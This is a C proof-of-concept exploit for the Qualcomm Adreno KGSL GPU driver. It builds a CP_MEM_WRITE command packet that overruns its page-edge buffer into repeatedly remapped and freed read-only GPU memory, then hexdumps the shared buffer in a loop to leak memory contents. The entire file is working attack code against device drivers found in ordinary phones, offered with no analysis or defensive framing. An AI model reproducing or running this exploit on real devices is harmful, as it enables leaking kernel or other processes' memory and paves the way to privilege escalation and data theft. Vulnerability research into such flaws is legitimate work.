#include <err.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

#include "adreno.h"

#define LEAK_SIZE 100

#define COMMAND_SIZE 4

static void hexdump(void *_data, size_t byte_count) {
  printf("hexdump(%p, 0x%lx)\n", _data, (uint64_t)byte_count);
  for (uint64_t byte_offset = 0; byte_offset < byte_count; byte_offset += 16) {
    unsigned char *bytes = ((unsigned char*)_data) + byte_offset;
    uint64_t line_bytes = (byte_count - byte_offset > 16) ?
	    16 : (byte_count - byte_offset);
    char line[1000];
    char *linep = line;
    linep += sprintf(linep, "%08lx  ", byte_offset);
    for (int i=0; i<16; i++) {
      if (i >= line_bytes) {
        linep += sprintf(linep, "   ");
      } else {
        linep += sprintf(linep, "%02hhx ", bytes[i]);
      }
    }
    linep += sprintf(linep, " |");
    for (int i=0; i<line_bytes; i++) {
      if (isalnum(bytes[i]) || ispunct(bytes[i]) || bytes[i] == ' ') {
        *(linep++) = bytes[i];
      } else {
        *(linep++) = '.';
      }
    }
    linep += sprintf(linep, "|");
    puts(line);
  }
}

int kgsl_ctx_create(int fd, uint32_t *ctx_id)
{
	struct kgsl_drawctxt_create req = {
			.flags = 0x00001812,
	};
	int ret;

	ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req);
	if (ret)
		return ret;

	*ctx_id = req.drawctxt_id;

	return 0;
}

int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint32_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size) {
    struct kgsl_command_object *cmds;

    struct kgsl_gpu_command req = {
            .context_id = ctx_id,
            .cmdsize = sizeof(struct kgsl_command_object),
            .numcmds = n,
    };
    size_t cmds_size;
    uint32_t i;

    cmds_size = n * sizeof(struct kgsl_command_object);

    cmds = (struct kgsl_command_object *) malloc(cmds_size);

    if (cmds == NULL) {
        return -1;
    }

    memset(cmds, 0, cmds_size);

    for (i = 0; i < n; i++) {
        cmds[i].flags = KGSL_CMDLIST_IB;

        if (i == target_idx) {
            cmds[i].gpuaddr = target_cmd;
            cmds[i].size = target_size;
        }
        else {
            /* the shift here is helpful for debugging failed alignment */
            cmds[i].gpuaddr = gpuaddr + (i << 16);
            cmds[i].size = cmdsize;
        }
    }
    req.cmdlist = (unsigned long) cmds;
    return ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req);
}

int kgsl_map(int fd, unsigned long addr, size_t len, uint32_t *gpuaddr, int readonly) {
    struct kgsl_map_user_mem req = {
            .len = len,
            .offset = 0,
            .hostptr = addr,
            .memtype = KGSL_USER_MEM_TYPE_ADDR,
            .flags = KGSL_MEMFLAGS_USE_CPU_MAP,
    };
    if (readonly) {
      req.flags |= KGSL_MEMFLAGS_GPUREADONLY;
    }
    int ret;

    ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req);
    if (ret)
        return ret;

    *gpuaddr = req.gpuaddr;

    return 0;
}

int main() {
    int fd;
    uint32_t *write_cmds, write_cmds_size;
    uint32_t *write_cmd_buf, write_cmd_gpuaddr;
    uint32_t *indirect_cmds, indirect_cmds_size;
    uint32_t *indirect_cmd_buf, indirect_cmd_gpuaddr;
    uint32_t size = PAGE_SIZE;
    uint32_t *shared_mem_buf, shared_mem_gpuaddr;
    uint32_t *shared_mem_buf2, shared_mem_gpuaddr2;

    int ret;

    fd = open("/dev/kgsl-3d0", O_RDWR);

    if (fd == -1) {
        err(1, "cannot open kgsl");
    }

    write_cmd_buf = (uint32_t *) mmap((void *)0x40000000, size,
                                        PROT_READ|PROT_WRITE,
                                        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

    if (write_cmd_buf == MAP_FAILED) {
        err(1, "mmap failed");
    }

    if (kgsl_map(fd, (unsigned long) write_cmd_buf, size, &write_cmd_gpuaddr, 0) == -1) {
        err(1, "kgsl_map failed (write_cmd_buf)");
    }

    shared_mem_buf = (uint32_t*)mmap((void*)0x50000000, size,
                                        PROT_READ|PROT_WRITE,
                                        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
    if (shared_mem_buf == MAP_FAILED) {
      err(1, "shared_mem_buf failed");
    }

    if (kgsl_map(fd, (unsigned long) shared_mem_buf, PAGE_SIZE, &shared_mem_gpuaddr, 0) == -1) {
      err(1, "kgsl_map failed (shared_mem_buf)");
    }

    write_cmd_buf = write_cmd_buf + 0x1000/COMMAND_SIZE - 5;
    write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * COMMAND_SIZE;

    write_cmds = write_cmd_buf;

    *write_cmds++ = cp_type7_packet(CP_NOP, 1);
    *write_cmds++ = 0xffffffff;

    *write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + LEAK_SIZE);

    write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr);

    uint32_t ctx_id;
    if (kgsl_ctx_create(fd, &ctx_id)) {
      err(1, "kgsl_ctx_create failed.");
    }

    uint32_t cmdsize = (write_cmds - write_cmd_buf) * 4;

    usleep(50000);

    uint64_t shared_mem_size = 0x1000;
    while (1) {
		shared_mem_buf2 = (uint32_t*)mmap((void*)0x40001000, shared_mem_size,
		                                    PROT_READ,
		                                    MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
		if (shared_mem_buf2 == MAP_FAILED) {
		  err(1, "shared_mem_buf2 failed");
		}

		ret = kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1);
		
		if (ret == -1) {
		  err(1, "kgsl_map failed (shared_mem_buf2)");
		}

		if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmdsize, 1, 0, write_cmd_gpuaddr, (write_cmds - write_cmd_buf + LEAK_SIZE) * COMMAND_SIZE)) {
		  err(1, "gpu_command failed.");
		}

		usleep(50000);
        hexdump(shared_mem_buf, LEAK_SIZE * COMMAND_SIZE);

		munmap(shared_mem_buf2, shared_mem_size);

		struct kgsl_sharedmem_free free_param = {.gpuaddr = shared_mem_gpuaddr2};
		if (ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &free_param) < 0) {
		  err(1, "unable to free memory\n");
		}
		sleep(5);
    }
}
